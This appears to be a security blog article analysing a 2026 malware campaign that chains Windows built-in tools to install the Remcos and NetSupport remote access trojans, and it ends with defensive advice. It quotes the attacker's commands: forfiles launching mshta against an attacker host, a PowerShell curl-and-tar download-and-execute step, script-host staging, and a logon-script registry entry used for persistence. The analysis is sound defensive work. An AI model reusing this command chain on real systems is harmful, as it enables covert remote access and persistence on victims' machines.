Attackers Chain Excessive Windows LOLBins to Stealthily Deploy Dual RAT Payloads

CyberDefender 11 mins0

In late January 2026, researchers uncovered an unusual malware infection attempt that didn’t stand out for advanced encryption or complex obfuscation—but for the way the attacker abused Windows native tools to achieve their goals. Instead of using typical malware droppers, scripts, or executables, the adversary leveraged an extensive chain of LOLBins (Living Off the Land Binaries)—legitimate Windows utilities that threat actors often misuse to evade detection.

The objective was to deploy two remote access tools (RATs): Remcos and NetSupport Manager. While both products have legitimate uses—as remote control and administration tools—they are frequently misused by attackers to establish covert access, persist on systems, and execute remote commands.

What Are Remcos and NetSupport Manager?

Before we dive into the infection chain, it’s important to understand the payloads the attacker intended to deliver:

  • Remcos (Remote Control & Surveillance): A legitimate remote administration tool that provides full remote desktop control, filesystem access, command execution, keylogging, clipboard monitoring, persistence options, and lateral movement capabilities. It is widely abused by cybercriminals once installed on a victim machine.
  • NetSupport Manager: Also a legitimate remote support product, but in its misused state becomes a “NetSupport RAT.” In this context, attackers install and configure it silently to maintain unauthorized access to a compromised computer.

Stage 1: Unusual Initial Access via forfiles.exe

Most malware campaigns begin with something that looks overtly malicious—like an EXE file or macro-enabled document. This attack didn’t.

The first stage was a curious command:

C:\Windows\System32\forfiles.exe /p c:\windows\system32 /m notepad.exe /c "cmd /c start mshta http://[attacker-ip]/web"

This command does something unusual: rather than launching mshta.exe (a common LOLBin) directly, the attacker used forfiles.exe—a legitimate Windows utility typically used to run commands against a set of files. In this case, it was repurposed solely to call mshta to fetch remote code.

Why this matters:
Security tools often monitor for direct use of mshta.exe from suspicious contexts. By loading it indirectly through another trusted utility, the attacker muddied the execution path and made detection harder.

Stage 2: In-Memory Download and Staging

The mshta process retrieved an HTA (HTML Application) file from a remote URL. This HTA launched a Windows command prompt (cmd.exe) that ran a PowerShell one-liner:

powershell.exe -NoProfile -Command
curl -s -L -o "<random>.pdf" (attacker-ip}/socket;
mkdir "<random>";
tar -xf "<random>.pdf" -C "<random>";
Invoke-CimMethod Win32_Process Create "<random>\glaxnimate.exe"

Here’s how this worked:

  1. curl (leveraging PowerShell’s built-in version) downloaded a file that appeared to be a PDF.
  2. The downloaded “PDF” was actually a TAR archive.
  3. tar.exe—another trusted utility—was used to unpack that archive into a randomly named folder.
  4. Within that folder was a trojanized copy of glaxnimate.exe (a real open-source animation software executable), repurposed by the attacker as the next stage loader.

No executable droppers, no macro code, no unusual installers. Just Windows tools and a renamed archive.

Stage 3: Staging in Plain Sight

Once the malicious glaxnimate.exe was active, it started creating partial files in the C:\ProgramData directory. The filenames looked like:

  • SETUP.CAB.PART
  • PROCESSOR.VBS.PART
  • PATCHER.BAT.PART

These “.PART” extensions are a classic staging technique: the attacker drops incomplete parts of files so that antivirus tools and defenders don’t see them as fully formed binaries. Once everything is ready, they rename or complete these parts to begin execution.

This level of staging makes detection harder because the full malicious payload doesn’t exist on disk until the final moment.

Stage 4: Silent Scripted Launch

After staging, the attacker invoked the next step with Windows Script Host: “C:\Windows\System32\WScript.exe” “C:\ProgramData\processor.vbs”

This VBScript used IWshShell3.Run to silently invoke a batch file without showing a window: IWshShell3.Run(“cmd.exe /c %ProgramData%\patcher.bat”, “0”, “false”);

The batch file’s purpose was straightforward: expand setup.cab -F:* C:\ProgramData

This line uses the expand utility to extract everything from the staged CAB file into C:\ProgramData. Those files included the RATs and additional helpers needed for persistence and remote control.

All of this was done with Windows native tools only, leaving no obvious third-party droppers or installers.

Stage 5: Establishing Persistence

Persistence ensures the RATs continue running even after the system reboots. Instead of common registry Run keys, the attacker chose a stealthier path:

reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\PATCHDIRSEC\client32.exe" /f

This adds a UserInitMprLogonScript entry under the user environment variables. It’s a lesser-monitored alternative to standard persistence mechanisms and runs the RAT silently at each user logon.

By choosing this key, the attacker reduced the chance of detection while ensuring the RAT automatically executed on login.

What This Chain Tells Us

This entire infection chain—from initial execution to persistence—relied almost exclusively on Windows built-in utilities:

  • forfiles.exe
  • mshta.exe
  • PowerShell (curl, tar)
  • Script hosts (wscript.exe)
  • Batch utilities (expand)
  • Registry edits (reg add)

This style of attack is a textbook example of LOLBin abuse. By chaining legitimate tools together, attackers can evade detection and make forensic analysis more complicated.

Can You Use Too Many LOLBins?

So, does using more Windows tools make an attack stronger? In this case, the answer from the researchers was: “Not yet.” Even though the attacker used a long chain of native binaries, Malwarebytes was still able to detect and stop the campaign.

However, each additional step introduces more distinct behavior and unusual patterns, which defenders can fingerprint and use to detect malicious activity. High volumes of LOTL abuse don’t make an attack invisible; they make the behavior more complex and potentially more detectable for advanced monitoring systems.

Key Defensive Takeaways

  1. Monitor for unusual chains of Windows native tool executions. For example, a forfiles.exe invocation that spawns mshta should raise suspicion.
  2. Watch for fileless or staged payloads disguised as harmless files (like PDF-named TAR archives).
  3. Investigate lesser-known persistence techniques (like UserInitMprLogonScript) which are often overlooked.
  4. Deploy behavior-based detection systems capable of correlating multi-stage execution paths, not just signature matches.
  5. Never trust files or scripts that require unpacking with trusted system tools like tar.exe, expand, or scripted PowerShell commands.

Final Verdict

This infection attempt is a reminder that threat actors continue finding creative ways to abuse legitimate system components. Relying on native tools doesn’t guarantee success for the attacker—but it does demand stronger visibility and monitoring. Keeping systems updated, using advanced endpoint detection, and being alert to unusual execution patterns remains essential.

CyberDefender